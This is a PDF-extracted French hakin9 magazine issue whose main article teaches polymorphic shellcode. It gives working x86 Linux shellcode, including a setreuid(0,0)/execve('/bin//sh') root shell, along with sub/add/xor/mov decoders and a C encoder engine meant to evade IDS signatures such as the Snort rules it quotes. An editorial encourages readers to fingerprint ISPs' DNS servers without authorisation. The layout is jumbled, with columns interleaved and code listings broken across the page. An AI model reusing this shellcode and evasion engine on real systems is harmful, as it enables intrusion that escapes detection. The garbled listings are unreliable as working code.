Le mot polymorphisme vient du grec et signifie plusieurs formes. Ce terme a été employé en informatique pour la première fois par un pirate bulgare portant le pseudonyme Dark Avenger, ce dernier ayant créé en 1992 le premier virus polymorphique. L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant aux modèles, c'est-à-dire à certains traits caractéristiques permettant d'identifier un code donné. La technique de détection des modèles est utilisée dans les logiciels antivirus et dans les systèmes de détection des intrusions. L'encodage est un mécanisme le plus souvent utilisé pour intégrer le polymorphisme dans le code des logiciels informatiques. Le code approprié, exécutant les fonctions principales du logiciel est encodé et une fonction de plus est ajoutée au logiciel, dont la seule tâche est d'encoder et de lancer le code original.

1: BITS 32 2: 3: ; write(1,"hello, world!",14) 4: push word 0x0a21 5: push 0x646c726f 6: push 0x77202c6f 7: push 0x6c6c6568 8: mov ecx, esp 9: push byte 4 10: pop eax 11: push byte 1 12: pop ebx 13: push byte 14 14: pop edx 15: int 0x80 16: 17: ; exit(0) 18: mov eax, ebx 19: xor ebx, ebx 20: int 0x80

Signatures

Un élément clé pour tous les systèmes réseau de détection d'intrusions (en anglais Network Intrusion Detection System – NIDS) est la base de signatures, à savoir un ensemble de caractéristiques pour une attaque donnée ou un type d'attaques. Le système NIDS intercepte tous les paquets envoyés à travers le réseau et il essaye de les comparer à une des signatures disponibles. Dès qu'il réussit, une alerte est déclenchée. Les systèmes plus avancés sont également capables de configurer le pare-feu de sorte qu'il n'autorise pas l'entrée du trafic venant de l'adresse IP appartenant à l'intrus. Ci-dessous, vous trouverez trois exemples de signatures pour le logiciel Snort permettant d'identifier la plupart des shellcodes typiques pour les systèmes Linux. La première d'entre elles détecte la fonction setuid (les octets B0 17 CD 80), la deuxième la chaîne de caractères /bin/sh et la troisième le piège NOP :

Listing 2. Fichier shell4.asm 1: BITS 32 2: 3: ; setreuid(0, 0) 4: push byte 70 5: pop eax 6: xor ebx, ebx 7: xor ecx, ecx 8: int 0x80 9: 10: ; execve("/bin//sh", ["/bin//sh", NULL], NULL) 11: xor eax, eax 12: push eax 13: push 0x68732f2f 14: push 0x6e69622f 15: mov ebx, esp 16: push eax 17: push ebx 18: mov ecx, esp 19: cdq 20: mov al, 11 21: int 0x80

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any

(msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|"; reference:arachnids,436; classtype:system-call-detect; sid:650; rev:8;)

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE Linux shellcode";

content:"|90 90 90 E8 C0 FF FF FF|/bin/sh";

reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;)

alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any

(msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa"; classtype:shellcode-detect; sid:1394; rev:5;)

Il est beaucoup plus difficile aux systèmes IDS de noter la présence de code polymorphique que celle du shellcode typique, mais il ne faut pas oublier que le polymorphisme ne résout pas tous les problèmes. La plupart des systèmes contemporains de détection d'intrusions utilisent, outre les signatures, des techniques plus ou moins avancées permettant de détecter également le shellcode encodé. Les plus connues parmi elles sont l'identification de la chaîne NOP, la détection des fonctions du décodeur et l'émulation du code.

dans un logiciel vulnérable, la fonction de décodeur décode tout d'abord le shellcode approprié, puis elle lui transfère la gestion. La structure du shellcode développé est présentée sur la Figure 3 et la Figure 4 représente les étapes données de son fonctionnement.

permettant d'y parvenir mais quatre méthodes utilisant les instructions assembleur de base sont utilisées le plus souvent :

Décodeur

•

La tâche du décodeur est de décoder le shellcode. Il existe divers moyens

•

la soustraction (l'instruction sub ) – les valeurs numériques données sont soustraites des octets du shellcode encodé, l'ajout (instruction add ) – les valeurs numériques données sont ajoutées aux octets donnés du shellcode,

www.hakin9.org

Listing 3. Fichier test.c char shellcode[]=""; main() { int (*shell)(); (int)shell = shellcode; shell(); }

•

la différence symétrique (l'instruction xor) – les octets donnés du shellcode sont soumis à l'opération de différence symétrique avec une valeur définie,

hakin9 Nº 6/2005

69

Programmation

Listing 4. Fichier decode_ sub.asm

Figure 1. Shellcode write4

Figure 2. Shellcode shell4

•

Figure 3. Structure du code polymorphique

Figure 4. Étapes de fonctionnement du code polymorphique

70

hakin9 Nº 6/2005

le déplacement (l'instruction mov) – les octets donnés du shellcode sont échangés les uns contre les autres.

Le Listing 4 représente le code source du décodeur utilisant l'instruction de soustraction. Essayez d'examiner de près son fonctionnement. Commencez par la troisième ligne du code source et à l'endroit repéré comme three. Vous y trouverez l'instruction call transférant l'exécution du logiciel vers l'endroit one et mettant en même temps sur la pile la valeur de l'adresse de l'instruction suivante. Grâce à cela, l'adresse de l'instruction four se trouvant après le code du décodeur sera mise sur la pile – dans votre cas, ce sera le début du shellcode encodé. Dans la sixième ligne, enlevez cette adresse de la pile et mettez-la dans le registre ESI, réglez à zéro le registre ECX (ligne 7) et insérez-y (ligne 8) un nombre de 1 octet définis-

1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19:

BITS 32 jmp short three one: pop esi xor ecx, ecx mov cl, 0 two: sub sub jnz jmp

byte [esi + ecx - 1], 0 cl, 1 two short four

three: call one four:

sant la longueur du shellcode encodé. Pour l'instant, la valeur est 0 mais cela changera plus tard. Entre les lignes 10 et 14, il y a une boucle qui s'exécutera autant de fois que le nombre des octets se trouvant dans le shellcode encodé. Dans les itérations suivantes, le nombre mis dans le registre ECX sera diminué de 1 (l'instruction sub cl, 1 dans la ligne 12) et la boucle cessera de fonctionner lorsque cette valeur sera égale à zéro. L'instruction jnz two (Jump if Not Zero) sautera au début de la boucle repéré comme two jusqu'à ce que le résultat de soustraction ne soit pas égal à zéro. Dans la ligne 11, il y a l'instruction proprement dite décodant le shellcode – elle soustrait le zéro des octets suivants du shellcode (en regardant en arrière). Bien sûr, la soustraction

Figure 5. Compilation du décodeur decode_sub.asm

www.hakin9.org

Shellcode polymorphique

du zéro n'a pas de sens, mais vous vous en occuperez dans la partie suivante de l'article. Dès que tout le code retrouvera sa forme originale, le décodeur saute (ligne 14) au début du code, ce qui permet aux instructions s'y trouvant de s'exécuter. La compilation du code décodeur se déroule de la même manière que la compilation du shellcode, ce qui est représenté sur la Figure 5. Comme vous pouvez le constater, il y a dans le code deux octets zéro correspondant aux zéros dans les lignes 8 et 11 du code source du programme decode_sub.asm. Vous les remplacerez par les valeurs correctes (non zéro) lorsque vous allez lier le décodeur au shellcode encodé.

Encoder le shellcode

Vous avez déjà la fonction de décodage et il vous manque encore le shellcode encodé. Vous avez également les shellcodes– write4 et shell4. Il faut donc les convertir au format pouvant coopérer avec le décodeur. Il est possible de le faire manuellement en ajoutant à chaque octet du code une valeur choisie, mais une telle solution est peu efficace et manque de souplesse à l'usage . Au lieu de cela, utilisez un nouveau programme nommé encode1.c visible sur le Listing 5. À chaque octet de la variable de caractères shellcode, il ajoute la valeur définie dans la variable offset. Dans ce cas, modifiez le shellcode write4 en incrémentant chaque octet de 1. La compilation du programme et le résultat obtenu sont présentés sur la Figure 6. Si vous comparez maintenant le shellcode original avec celui encodé, vous noterez qu'ils diffèrent de 1. En outre, le code que vous avez obtenu, résultant du fonctionnement du programme encode1, ne contient pas les octets zéro (0x00) – et de même, il peut être inséré dans un programme vulnérable au débordement de la mémoire tampon.

Lier le décodeur au code

Vous avez maintenant le décodeur et le shellcode encodé. Il ne vous reste qu'à les assembler et à vérifier si tout fonctionne correctement. Insérez-le

Listing 5. Fichier encode1.c #include <stdio.h> char shellcode[] = "\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68" "\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80" "\x89\xd8\x31\xdb\xcd\x80"; int main() { char *encode; int shellcode_len, encode_len; int count, i, l = 16; int offset = 1; shellcode_len = strlen(shellcode); encode = (char *) malloc(shellcode_len); for (count = 0; count < shellcode_len; count++) encode[count] = shellcode[count] + offset; printf("Encoded shellcode (%d bytes long):\n", strlen(encode)); printf("char shellcode[] =\n"); for (i = 0; i < strlen(encode); ++i) { if (l >= 16) { if (i) printf("\"\n"); printf("\t\""); l = 0; } ++l; printf("\\x%02x", ((unsigned char *)encode)[i]); } printf("\";\n"); free(encode); return 0; }

Listing 6. Version modifiée du fichier test.c char shellcode[] = //decoder - decode_sub "\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff" //encoded shellcode - write4 "\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69" "\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81" "\x8a\xd9\x32\xdc\xce\x81"; main() { int (*shell)(); (int)shell = shellcode; shell(); }

Figure 6. Compilation et fonctionnement du programme encode1.c tout dans la variable shellcode du programme test.c (Listing 6) tout en remplaçant les deux octets zéro se trouvant dans le code décodeur par la valeur \x26 (la longueur du code

www.hakin9.org

encodé est de 38 octets – 26 dans le système hexadécimal) et \x01 (pour obtenir un shellcode original, il faut diminuer de 1 la valeur de chaque octet). Comme vous pouvez le voir sur la

hakin9 Nº 6/2005

71

Programmation

l'instruction disponible dans la ligne 11, vous n'allez pas les présenter dans leur totalité. Il suffit que la ligne 11 soit remplacée par add byte [esi + ecx - 1], 0 (pour decode _ add ) ou par xor byte [esi + ecx - 1], 0 (pour decode _ xor). Le code source decode _ mov (voyez le Listing 7) est un peu différent et il utilise quatre instructions mov qui échangent les places de tous les deux octets voisins. Compilez les codes pour obtenir les programmes montrés sur la Figure 8. Transformez-les alors en variables de caractères et insérez dans le fichier source de votre moteur encodee.c (Listing 8). Figure 7. Vérifier le fonctionnement du code polymorphique originale, il l'encodera et il ajoutera un décodeur adéquat. Commencez par créer les décodeurs utilisant les instructions add , xor et mov. Nommez-les respectivement decode _ add , decode _ xor et decode _ mov. Comme les codes source des fonctions decode _ add et decode _ xor diffèrent de la fonction decode _ sub créée au préalable seulement par

Listing 7. Fichier decode_ mov.asm 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24:

BITS 32 jmp short three one: pop xor xor xor mov

esi eax, eax ebx, ebx ecx, ecx cl, 0

two: mov mov mov mov sub jnz jmp

byte al, [esi + byte bl, [esi + byte [esi + ecx byte [esi + ecx cl, 2 two short four

ecx ecx - 1], - 2],

Il est temps maintenant de créer quatre fonctions qui chargeront le shellcode en version originale et qui l'encoderont. Nommez-les respectivement : encode _ sub, encode _ add , encode _ xor et encode _ mov. Les trois premières fonctions prennent comme arguments le pointeur vers le shellcode que vous voulez encoder et la clé sous la forme de la valeur de dépla-

1] 2] bl al

three: call one four:

Figure 7, votre nouveau shellcode polymorphique fonctionne bien – le shellcode original est décodé et il affiche le message sur la sortie standard.

Créer un moteur

A présent, vous savez donner aux shellcodes les caractéristiques polymorphiques et les masquer ainsi aux systèmes de détection d'intrusions. Essayez alors d'écrire un programme simple permettant d'automatiser tout le processus – à l'entrée, il acceptera le shellcode en version

72

Fonctions d'encodage

hakin9 Nº 6/2005

Figure 8. Décodeurs add, xor et mov Listing 8. Définition des décodeurs char decode_sub[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char decode_add[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x44\x0e\xff\x00\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char decode_xor[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x74\x0e\xff\x00\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char decode_mov[] = "\xeb\x20\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x00\x8a\x44\x0e\xff\x8a" "\x5c\x0e\xfe\x88\x5c\x0e\xff\x88\x44\x0e\xfe\x80\xe9\x02\x75\xeb" "\xeb\x05\xe8\xdb\xff\xff\xff";

www.hakin9.org

Shellcode polymorphique

www.hakin9.org

hakin9 Nº 6/2005

73

Programmation

cement et elles retournent un pointeur vers un code nouvellement créé. Si lors de l'encodage, un octet zéro apparaît dans le shellcode résultant, les fonctions cesseront de fonctionner et elles retourneront la valeur NULL. La fonction encode _ mov prenant seulement un argument (le shellcode) et changeant la place de tous les deux octets voisins se présente d'une autre manière. Pour éviter les erreurs liées à la modification du code à un nombre impair d'octets, la fonction vérifie la longueur du shellcode et si nécessaire, échange le dernier octet contre l'instruction NOP (0x90). Grâce à cela, la longueur du code sera toujours la multiplicité de 2. Toutes les quatre fonctions sont présentées sur le Listing 9.

Fonctions liant le décodeur au code encodé

Pour lier le code décodeur au shellcode encodé, utilisez l'une de quatre fonctions disponibles. Ce sont : add _ sub _ decoder, add _ add _ decoder, add _ xor _ decoder et add _ mov _ decoder. Chacune d'entre elles modifie le décodeur dans une variable appropriée de sorte à remplacer les endroits zéro s'y trouvant par la longueur du code encodé et la valeur de déplacement. Ensuite, elle lie le décodeur au code encodé chargé en tant qu'argument, puis elle retourne le pointeur vers le code polymorphique tout prêt. Le Listing 10 représente l'une de ces fonctions – les autres font partie du fichier encodee.c disponible dans hakin9.live.

Fonctions d'aide et la fonction principale

Vous avez encore besoin de quelques fonctions d'aide permettant de faciliter l'utilisation du programme. La plus importante s'appelle get _ shellcode, elle charge le shellcode original depuis un fichier défini comme argument. La deuxième, print _ code, affiche le shellcode sous la forme formatée, prête à être insérée dans un exploit ou dans le programme test.c. Les deux dernières fonctions s'appellent usage et getoffset – la première affiche la mé-

74

hakin9 Nº 6/2005

Listing 9. Fonctions d'encodage char *encode_sub(char *scode, int offset) { char *ecode = NULL; int scode_len = strlen(scode); int i; ecode = (char *) malloc(scode_len); for (i = 0; i < scode_len; i++) { ecode[i] = scode[i] + offset; if (ecode[i] == '\0') { free(ecode); ecode = NULL; break; } } return ecode; } char *encode_add(char *scode, int offset) { char *ecode = NULL; int scode_len = strlen(scode); int i; ecode = (char *) malloc(scode_len); for (i = 0; i < scode_len; i++) { ecode[i] = scode[i] - offset; if (ecode[i] == '\0') { free(ecode); ecode = NULL; break; } } return ecode; } char *encode_xor(char *scode, int offset) { char *ecode = NULL; int scode_len = strlen(scode); int i; ecode = (char *) malloc(scode_len); for (i = 0; i < scode_len; i++) { ecode[i] = scode[i] ^ offset; if (ecode[i] == '\0') { free(ecode); ecode = NULL; break; } } return ecode; } char *encode_mov(char *scode) { char *ecode = NULL; int scode_len = strlen(scode); int ecode_len = scode_len; int i; if ((i = scode_len % 2) > 0) ecode_len++; ecode = (char *) malloc(ecode_len); for (i = 0; i < scode_len; i += 2) { if (i + 1 == scode_len) ecode[i] = 0x90; else ecode[i] = scode[i + 1]; ecode[i + 1] = scode[i]; } return ecode; }

www.hakin9.org

Shellcode polymorphique

www.hakin9.org

hakin9 Nº 6/2005

75

Programmation

Listing 10. L'une des fonctions liant le décodeur au code encodé

À propos de l'auteur

Michał Piotrowski est maître en informatique et administrateur expérimenté des réseaux et systèmes. Durant plus de trois ans, il a travaillé en tant qu'inspecteur de sécurité dans un établissement responsable du bureau de certification supérieur dans l'infrastructure polonaise PKI. Actuellement, il est un expert en sécurité téléinformatique dans l'une des plus grandes institutions financières en Pologne. Il passe son temps libre à programmer. Il s'occupe également de la cryptographie.

char *add_sub_decoder(char *ecode, int offset) { char *pcode = NULL; int ecode_len = strlen(ecode); int decode_sub_len; decode_sub[6] = ecode_len; decode_sub[11] = offset; decode_sub_len = strlen(decode_sub); pcode = (char *) malloc(decode_sub_len + ecode_len); memcpy(pcode, decode_sub, decode_sub_len); memcpy(pcode + decode_sub_len, ecode, ecode_len); return pcode; }

Mettez ensemble tous les éléments du programme en utilisant la fonction main (voir le fichier encodee.c dans hakin9.live). Celle-ci est très simple – tout d'abord, elle vérifie les paramètres avec lesquels le programme a été démarré, puis elle charge le shellcode depuis un fichier indiqué, elle encode à l'aide de la fonction choisie, ajoute le décodeur et imprime le tout sur la sortie standard.

Tester le programme

Figure 9. Compiler le programme encodee et créer un shellcode exemplaire

Vérifiez maintenant si votre programme fonctionne correctement. Pour cela, créez un shellcode à base du code write4 encodé via l'instruction add et le déplacement égal à 15 (Figure 9). Insérez-le ensuite dans le programme test et vérifiez son fonctionnement (Figure 10).

Conclusion

Vous connaissez maintenant les méthodes permettant de générer des shellcodes polymorphiques et vous avez réussi à écrire un programme automatisant tout le processus. Bien sûr, cela reste un programme très simple qui n'utilise que quatre décodeurs les plus communs mais il peut être un point de référence pour vos propres études et expérimentations. l

Figure 10. Tester le shellcode généré

thode de démarrage du programme et la seconde tire un nombre utilisé en tant que déplacement (si l'utilisateur ne le définit pas). Le code de ces fonctions est présenté dans le fichier encodee.c disponible dans hakin9.live.

76

hakin9 Nº 6/2005

Sur Internet • • •

http://www.orkspace.net/software/libShellCode/index.php – page d'accueil du projet libShellCode, http://www.ktwo.ca/security.html – page d'accueil de l'auteur d'ADMmutate, http://www.phiral.com/ – page d'accueil de l'auteur du programme dissembler.

www.hakin9.org

www.shop.software.com.pl/fr Abonnez-vous à vos magazines préférés et commandez des anciens numéros !

Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré. Nous vous garantissons : • des tarifs préférentiels, • un paiement en ligne sécurisé, • la prise en compte rapide de votre commande. Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !

bulletin d’abonnement Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 887 10 11 ou par courrier : Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Varsovie, Pologne ; Tél. 0048 22 887 13 44 ; E-mail : [email protected] Prénom Nom ............................................................................................... Entreprise ................................................................................................... Adresse ................................................................................................................................................................................................................................. Code postal ................................................................................................

Ville ..............................................................................................................

Téléphone ...................................................................................................

Fax ...............................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro ..................................................................................................................................................... E-mail (indispendable pour envoyer la facture) ................................................................................................................................................................. o Prolongement automatique d’abonnement

Titre

Nombre de numéros annuels

Nombre d’abonnements

À partir du numéro

Prix

hakin9 – comment se défendre ? (1 CD) Bimestriel destiné aux personnes qui s’intéressent la sécurité des systmes informatiques

6

38 €

Software Developer’s Journal Extra (1 CD ou DVD) – anciennement Software 2.0 Extra Bimestriel sur la programmation

6

38 €

12

86 €

Collection Linux+ Distributions (4-7 CDs ou 2 DVDs) Distributions Linux les plus populaires

6

50 €

PHP Solutions (1 CD) Le plus grand magazine sur PHP au monde

6

38 €

Programmation sous Linux (1 CD) Bimestriel dédié à la programmation sous Linux

6

38 €

.PSD (2 CDs) Bimestriel pour les utilisateurs d’Adobe Photoshop

6

39 €

Linux+DVD (2 DVDs) Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs

Total

Je règle par : ¨

Carte bancaire n° CB type de carte ..........................................................................

Virement bancaire : Nom banque : Société Générale Chasse/Rhône banque guichet numéro de compte clé Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP ¨

expire le code CVC/CVV

date et signature obligatoires

Faites attention à votre argent Éditorial Tomasz Nidecki

A

h, le confort des e-banques. Il y a quelques jours, mon bailleur m'a apporté quelques factures à payer. Oh, non, j'ai pensé, pas encore un déplacement à ma banque, pas encore une heure passée dans la file d'attente pour payer cette satanée facture. Mais ensuite, je me suis souvenu que ma banque (je ne précise pas le nom pour des raisons de sécurité !) vient d'ouvrir un accès aux comptes traditionnels via Internet. Et je me suis rappelé m'y être inscrit. Hourra ! Il a suffit quelques minutes pour payer mes factures. Mais ensuite, je me suis rappelé une autre chose : le phishing, le pharming. Et je me suis tout de suite senti mal à l'aise. L'article sur l'empoisonnement du DNS paru dans le dernier numéro de hakin9 m'a vraiment inspiré. Le lendemain, caché en toute sécurité derrière l'adresse IP de la société (si jamais quelque chose va mal, je peux toujours dire que je testais un tutoriel ou un truc dans ce genre), j'ai déployé mon navigateur, j'ai chargé Google et commencé à me balader ici et là, à la recherche d'un outil de récupération de données sur DNS. J'ai réellement voulu m'assurer que les plus grands serveurs cache DNS sont sécurisés et j'espérais que leurs administrateurs savaient que BIND n'était pas bien et que je trouverais de nombreuses installations de djbdns. Ils doivent être au moins aussi prudents que moi, me suis-je dit. J'ai remplacé BIND par djbdns il y a deux ans déjà ; ils ont certainement dû le faire aussi. Enfin, je suis tombé sur fpdns.pl, un petit script perl qui semble reconnaître assez bien le logiciel DNS utilisé, en se basant sur son empreinte. Dans un premier temps, j'ai donc visé les plus grands fournisseurs polonais de caches DNS (je peux donc affirmer que plus de la moitié des utilisateurs d'Internet en Pologne se servent de ces deux caches). Boum ! BIND9. Ce n'est pas mal mais ce n'est pas très bien non plus. Ensuite, j'ai ciblé les caches DNS d'autres grands fournisseurs. J'ai mis cinq minutes pour trouver une installation BIND8 sur le plus grand réseau câblé de Varsovie. Ouh ! J'espère que leurs utilisateurs ne se servent pas de ce cache DNS. Qui le risquerait en sachant que le cache peut être empoisonné en environ trois cents paquets envoyés ?

80

hakin9 Nº 6/2005

Au bout d'une demi heure, j'ai commencé à m'ennuyer mais les résultats étaient intéressants. Les plus grands caches DNS se servent de BIND9 mais seulement certains d'entre eux disposaient des versions les plus récentes. J'ai trouvé deux installations BIND8 utilisées en caches DNS de fournisseurs Internet très connus. Un seul fournisseur employait PowerDNS et une seconde tentative pour récupérer l'empreinte a été manifestement bloquée par un IDS (très bon boulot, les administrateurs !). Je n'ai trouvé aucune installation djbdns. Enfin, si on ne prend pas en compte mes propres serveurs, bien évidemment. Mais... C'est comme si on disait coucou, les pharmers ! Nous sommes ici ! Prenez-nous avec vous ! Chers lecteurs, pourquoi ne pas essayer vous-mêmes et partager des résultats intéressants avec nous ? Ensuite, on m'a raconté une autre histoire qui a fait bouillir mes neurones. Un de mes collègues, dont le passe-temps favori consiste à prendre le bus avec son ancien ordinateur portable (équipé, bien évidemment d'une carte WiFi) m'a fait partager certains de ses trouvailles concernant wardriving (ou plutôt warbusing vu qu'il prend le bus ?). Il est passé par hasard (oui, par hasard) près d'une agence de la deuxième plus grande banque polonaise et – surprise, surprise – Kismet a détecté un réseau sans fil. Crypté ? Vous rigolez ! Et devinez quel était le type de SSID ? linksys, bien évidemment. Ouh. Pourquoi alors se préoccuper de multiples niveaux de protections dans les e-banques si un administrateur d'une agence locale, qui n'a même pas changé le SSID par défaut, laisse le réseau interne d'une banque largement ouvert à tout passant ? Le point d'ébullition de mes neurones a été atteint. J'ai donc réussi à arriver à certaines conclusions. La conclusion la plus logique est de récupérer le plus rapidement possible tout mon argent de la banque et le cacher sous un coussin. Il semble qu'il y sera plus en sécurité que dans n'importe quelle autre institution ayant des liens avec des ordinateurs. Et je me sentais tellement bien le jour précédent... l

www.hakin9.org

> > > s é d n a m m Sites reco

Abc de la sécurité informatique : Portail dédié a la protection utilisateurs, la prévention et l’anonymat sur micro et réseaux. http://abcdelasecurite.free.fr

Corporate Hackers fournit services et solutions dans le domaine de la sécurité des nouvelles technologies. http://corporatehackers.com

Le Portail Québécois de la Sécurité Des Systemes. Site de nouvelles, forums, téléchargements, liens sécurité, et conseils. http://www.cccure.net

Wulab spécialise dans la sécurité des applications web par l’etude des techniques d’attaques et en créant des moyens de défense. http://www.wulab.com

HackIsKnowledge est un site d’entreaide à la sécurité informatique. Le webmaster vous propose audits gratuits, forum, download. http://www.hackisknowledge.org

Actualités, astuces, optimisation, personnalisation windows, sécurité, visuels et téléchargement de logiciels, jeux et captures. http://www.smtechnologie.com

SecuriteInfo.com, un des sites web leaders de la sécurité informatique francophone, propose ses services aux professionnels depuis 2004. http://www.securiteinfo.com

Toute l’actualité informatique, les dernieres adresses, et beaucoup d’autres fonctionnalités, tout ceci géré par une équipe dynamique. http://www.puissance-pc.net

Construit sur des serveurs FreeBSD et Linux Informations sur UNIX, Linux, Windows, les réseaux – Hébergement libre sur serveurs libres. http://www.virtuelnet.net

VirusTraQ.com est un observatoire francophone sur les virus informatiques, le spam et les applications indésirables (spyware/adware). http://www.virustraq.com

Vulnerabilite.com est le portail francophone dédié a la sécurité des systemes d’information pour les DSI, RSSI et décideurs informatique. http://www.vulnerabilite.com

Crée par Terence DEWAELE, Ze-Linux a pour but d’aider la communauté française a utiliser GNU/Linux: Forums, Liste, News. http://www.ze-linux.org

.org ctez-nous : fr@hakin9 nder votre site ? Conta Voulez-vous recomma

dés Sites recomman

hakin9 1/2006

Dans le numéro suivant, vous trouverez, entre autres : Prochainement

Sécurité des WPA/WPA2 Dossier

Les réseaux sans fil sont plus faciles à sniffer et à pénétrer que les réseaux classiques. C’est pourquoi, des moyens spécifiques sont nécessaires pour tenir les intrus à l’écart. Guillaume Lehembre parle des standards WPA et WPA2 pour la protection des réseaux Wi-Fi, des attaques et faiblesses potentielles, en décrivant, comment celles-ci peuvent être effectuées.

Rootkits dans Oracle Focus

Bien que cela puisse paraître étonnant, les rootkits sont capables de fonctionner non seulement dans les systèmes d’exploitation, mais aussi dans les systèmes de base de données. Ils dissimulent les utilisateurs, les processus ou les procédures. L’article d’Alexander Kornbrust montre comment fonctionnent les rootkits dans le système de base de données Oracle, comment les détecter et comment écrire les applications de base de données pour empêcher l’installation des rootkits par un intrus.

Implanter la norme ISO/CEI 17799:2005 en entreprise Pratique

Une révision majeure de la norme internationale ISO/CEI 17799:2005 a vu le jour en juin 2005. Ce code de bonne pratique pour la gestion de la sécurité de l’information donne de grandes orientations réparties sur onze chapitres. C’est a vous de définir comment l’implanter. Christophe Reverd en décode les aspects essentiels pour vous aider à la mettre en pratique en entreprise.

Sécurité du serveur Windows 2003 Fiche technique

Avec l’apparition de Windows 2003, beaucoup de réseaux d’entreprises sont passés à une nouvelle génération de serveur Microsoft. Mais Windows 2003 est-il vraiment sûr ou bien traîne-il les mêmes faiblesses que ses prédécesseurs ? Rudra Kamal Sinha Roy présente quels sont les principaux problèmes avec Windows 2003 et que peuvent faire les administrateurs pour rendre leurs serveurs plus sûrs.

Détourner un firewall Fiche technique

Le pare-feu est la première ligne de défense protégeant tout le réseau contre les attaques malicieuses. Pourtant, un pare-feu a aussi ses points faibles et peut être détourné. Oliver Karow enseigne comment les pare-feux peuvent être détectés et montre quels problèmes dans leur configuration facilitent ce détournement.

Pour voir les informations actuelles sur le prochain numéro, visitez la page http://www.hakin9.org/fr Ce numéro sera disponible en vente début janvier 2006. La rédaction se réserve le droit de modifier le contenu de la revue.